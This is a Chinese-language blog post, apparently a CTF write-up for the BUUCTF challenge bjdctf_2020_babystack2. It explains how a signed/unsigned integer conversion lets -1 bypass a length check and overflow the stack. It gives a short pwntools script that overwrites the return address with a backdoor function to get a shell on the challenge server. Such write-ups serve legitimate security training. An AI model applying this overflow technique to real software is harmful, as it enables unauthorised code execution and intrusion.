【BUUCTF】bjdctf_2020_babystack2

本文详细介绍了如何利用无符号和有符号整型转换的特性,绕过10的比较限制,特别是在BUUCTF的bjdctf_2020_babystack2挑战中。通过发送特定的输入如-1,结合内存布局和函数指针操纵,实现远程控制目标程序。提供的exploit代码展示了这种攻击方法。
摘要由CSDN通过智能技术生成

【BUUCTF】bjdctf_2020_babystack2

64位,无canary
在这里插入图片描述
有后门函数
在这里插入图片描述
这题思路就是用无符号和有符号整型来绕过10的比较
比如:送入一个-1,无符号类型会把它看成一个很大的正整数,是,而有符号则认为是-1
这题size_t是一种无符号整型,下面被强转成有符号,最后又强转成无符号
所以可以绕过
在这里插入图片描述
exp:

from pwn import*
r=remote('node3.buuoj.cn',29907)
context.log_level = 'debug'
backdoor=0x400726
r.sendline('-1')
r.send('a'*0x10+'b'*8+p64(backdoor))
r.interactive()

注:这里送-1,后面要加\n,或用sendline,不然打不通

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值